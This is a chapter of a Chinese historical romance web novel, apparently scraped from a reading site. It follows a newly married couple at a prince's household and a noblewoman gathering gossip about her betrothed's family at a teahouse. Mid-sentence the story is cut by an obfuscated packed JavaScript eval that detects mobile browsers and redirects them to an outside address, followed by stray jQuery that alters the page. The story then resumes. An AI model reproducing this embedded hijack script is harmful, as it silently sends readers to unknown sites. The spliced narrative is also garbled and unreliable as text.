屋内红烛燃了大半,烛泪在铜台上堆成小山,摇摇欲坠。
林晚棠侧躺在婚床上,已经睡着了。卸了妆的面容清清淡淡,眉心却微微蹙着,嘴唇抿得有些紧——连睡着了,都透着股小心翼翼。
李玄明在离床不远的地上铺了被褥,和衣躺下。辗转片刻,又忍不住撑起身,趴在床边看她。
烛光将她的眉眼描得柔和,呼吸绵长而均匀。他看了半晌,无声地叹了口气。伸手替她掖了掖被角,指尖碰到她肩头时,停了停,才收回来。
他重新躺回地铺,闭上眼睛。
次日清晨,院中洒扫声起。
李玄明睁开眼,天光蒙蒙亮。他翻身坐起,利落地卷起地铺,塞进墙角柜中,推门出去。门外站定时,他含糊着打了个哈欠,抻了抻腰背,脊骨“咔吧”响了一声。
“三郎君。”院中丫鬟小厮纷纷行礼。
李玄明“嗯”了一声。
睡了一夜硬地,浑身都不得劲。他抬手揉了揉后颈,又活动了几下肩膀,这才慢悠悠往外走。
几个丫鬟偷偷抬眼瞧了瞧,又连忙垂下头去。彼此交换了个心照不宣的眼神,脸上都浮起一层薄红。
等林晚棠醒来时,屋内一切如常。
春熙进来伺候她梳洗,低声道:“小姐,该去拜见郡王和郡王妃了。”
林晚棠点点头,心下已做好了被公婆责备的准备——新婚之夜丈夫未宿在新房,这在哪家都是新妇的失职。
可到了正堂,郡王与郡王妃却面色如常。
郡王妃甚至还拉着她的手,笑眯眯地说了好些体己话,又让侍女端上见面礼——一对水头上好的翡翠镯子,并一支赤金嵌宝步摇。
“好孩子,往后就是一家人了。”郡王妃拍拍她的手,“玄明那孩子性子野,你多担待些。”
林晚棠恭敬应下,心中却满是疑惑。
回到西院,春熙才压低声音笑道:“您不知道,今早姑爷是从新房里出来的,那些碎嘴的丫鬟见了,脸都绿了。”
林晚棠一怔。
他昨夜……回屋了?
可她竟一点都没察觉。
她走到床边,看了看平整的床褥,又环顾屋内,一切都与她昨夜睡前一模一样。只有墙角那个柜子,门似乎没关严。
林晚棠走过去,轻轻拉开柜门。里头整整齐齐叠着一床铺盖,是寻常的靛蓝粗布面。
她忽然明白了什么,指尖在那粗糙的布面上停留片刻,缓缓收回手。
“小姐?”春熙疑惑。
林晚棠合上柜门,“春熙,该改口了。”
春熙回道:“是,少夫人。”
冬日的阳光穿过窗棂,在地上投下缕缕光斑。光影里,细微的尘埃轻轻飞舞,像某些难以言说的心事。
天香楼。
午时刚过,楼里热气蒸腾,羊肉汤的鲜膻混着酒香、炭火气,一股脑儿往人鼻子里钻。
大堂中央,说书先生醒木一拍,正讲到酣处:“……只见那李三公子,一袭玄青劲装,腰佩横刀,携新妇踏入林府正堂。不等那继室徐氏开口寒暄,他便将一叠泛黄的账册,‘啪’地一声,掷在了林尚书面前!”
先生拖长了调子,抑扬顿挫:“诸位猜怎的?那竟是林大娘子生母、原配夫人当年的陪嫁清单!一笔笔,一项项,田庄铺面,金银头面,连压箱底的南海珍珠都记得分明!三公子当时便冷笑一声:‘岳父大人,小婿粗人,不懂那些弯绕。只晓得亡者之物,当归亡者之女。今日要么物归原主,要么——’他手按刀柄,环视堂上,‘小婿便请官府来断一断这侵占嫁妆、欺凌孤女的官司!’”
“好!”底下有酒客喝彩。
崔令妩倚在二楼栏杆边的雅座上,一身浅杏色绣缠枝梅的锦缎冬衣,衬得她肤光胜雪。她指尖捏着颗饱满的瓜子,“咔”一声轻响,壳儿利落分开。
她听得津津有味,末了咂咂嘴,对身旁翠翘道:“这林尚书,真不是个东西。果然有了后娘就有后爹,不光让女儿受尽欺负,竟还纵着填房霸占原配的嫁妆。薄情寡义,鼠目寸光。”
翠翘连连点头,给她斟上暖好的桂花醪糟:“就是就是!亏他还是工部尚书呢。”
说书先生还在渲染林尚书如何面色铁青、继母徐氏如何哭闹晕厥、李玄明又如何雷厉风行地带人清点库房,硬生生将产业契书当场过了户。
邻桌的议论声却渐渐高了起来,飘进崔令妩耳朵。
“要我说,这郡王府的三公子,当初不是为了跟裴少卿较劲,才抢了林家这桩婚事么?如今竟亲自上门,这般撕破脸皮地撑腰……莫不是处着处着,还真处出几分真心了?”一个带着点市井油滑的声音说道。
“嘿,沈兄,你这话说的。”另一人接话,声音浑厚些,“那林家娘子,可是咱们长安城里排得上号的美人。模样出挑不说,性子听说也是顶好的,温婉贤淑,才情更是不俗。这等佳人,放你被窝里睡一宿,你能不软了骨头?英雄难过美人关呐!”
崔令妩蹙了蹙眉,心中暗啐:粗鄙。
先前那人却压低了些声音,带着点兴奋:“光有模样可不够。你可知,这位林大娘子,本事大着呢!要不,怎能让咱们最是端方守礼的裴少卿,也为之折腰呢?”
第三人插进来,似乎更知情些,“你这都是哪年的老黄历了!听说啊,裴少卿、李三公子、林大小姐,还有……唉,还有当年姜将军的独女姜妩,四个人是自小一块儿长大的,交情匪浅!后来姜家出了那档子惨事,小娘子没了,裴少卿和李三公子怕是都怨上了对方,这才兄弟反目……如今三公子又娶了林大小姐,这里头的恩怨纠葛,水深着呢!”
姜妩?姜家惨案?
崔令妩嗑瓜子的手顿住了。
这几个字眼飘进耳朵,没来由地,心尖像是被细针轻轻扎了一下,泛起一阵空落落的茫然。她蹙起眉,努力想抓住点什么,却只有一片模糊的光影,快得捉不住。
她甩甩头,将那点莫名的异样抛开,身子却微微向前倾了些,隔着屏风缝隙,朝那桌客人扬声道:“诸位郎君,方才听得有趣——你们说的那位裴少卿,究竟是何方神圣啊?”
那桌三人闻声望来,见是一位容颜娇丽、气度不俗的小娘子,眼睛顿时一亮。
待
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450121|201162||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要搭讪,目光瞥见她身后两步远处,抱刀而立、面色冷肃的女侍卫,那点旖旎心思立刻歇了菜。这护卫眼神扫过来,跟小刀子似的,一看就是见过血的。
其中那个油滑声音的主人,清了清嗓子,颇有些卖弄地答道:“小娘子是外地来的吧?难怪不知。大理寺少卿裴砚,兰陵裴氏的嫡长公子,正经的世家清流,门第高着呢!十七岁便中了状元,跨马游街,那风采……啧啧。十八岁入了大理寺,办案如神,圣人都多次褒奖。那可是常伴御前的红人,就是嘛……”
他故意顿了顿,见崔令妩听得专注,才续道:“就是为人太冷,太板正。规矩比他家祠堂的牌位还多,行走坐卧,那叫一个分毫不差。长安城里私下都传,这位裴少卿,怕是连梦里都在默诵《唐律疏议》呢!”
崔令妩听罢,了然地点点头。
就像她家中那些兄长们——出身士族名门,自幼饱读诗书,年纪轻轻便身居要职,一个个眼高于顶,无趣得很。
想来这位裴少卿,便是其中登峰造极者。
“原来如此,”她懒懒地靠回椅背,指尖又拈起一颗瓜子,“这般人物,倒像是长在万丈悬崖峭壁上的雪莲,或是孤峰顶端的青松——人人皆知名贵稀奇,却也人人皆知,只可远远瞧着,近前不得,更别说亵玩了。”她语气里带着点漫不经心的调侃。
那桌客人闻言都笑起来,连声说“小娘子比喻得妙”。
崔令妩却将话题又绕了回来,身子微微倾向屏风那边,倚着扶手,显出些闲聊的好奇姿态:“诸位郎君见识广博,连他们儿时旧事都知晓。那……淮阳郡王府的世子,又是怎样一位人物?”
桌上静了一瞬。
那个声音浑厚的道:“世子?嘿,那位可是深居简出,鲜少露面。咱们平头百姓,哪能见得着?”
知情些的那个压低了声音:“郡王府这事儿也透着怪。郡王爷统共三个儿子,二公子早夭不提;世子爷据说身子骨不大爽利,常年静养;就这三公子,舞刀弄枪,跑去边关挣了点功名回来,如今还算有些声量。可惜啊……是庶出。”
再问,便也问不出更多了。
崔令妩听得无趣,撇了撇嘴,将手里剩的几颗瓜子往碟子里一扔,发出清脆的“嗒”声。线索还是太少,但这李玄德作为郡王府世子,却深居简出,鲜少露面,着实蹊跷。
她原只想寻个门第相当、能容她安稳享福的夫君,继续过逍遥日子。可眼下这情形,怕是要出大岔子。
“翠翘,结账。”她起身,裹紧了身上的银狐裘,缓步下楼,登上等候的马车。
车厢内暖意融融,她却没像往常般寻个舒服姿势窝着。指尖在雕花小几上无意识地敲了敲,她抬眼,对上坐门边的女侍卫低声道:“寒枝,想法子去探探淮阳郡王府的底,尤其是我那位未婚夫婿,还有……”
她顿了顿,想起酒楼里听到的那个陌生名字,“顺便查查,七年前,长安城里,是否真有一桩与姜姓将军有关的惨案。”
寒枝颔首,声音平稳无波:“是,小姐。”
马车辘辘驶离喧嚣的酒楼,融入长安午后繁忙的街市。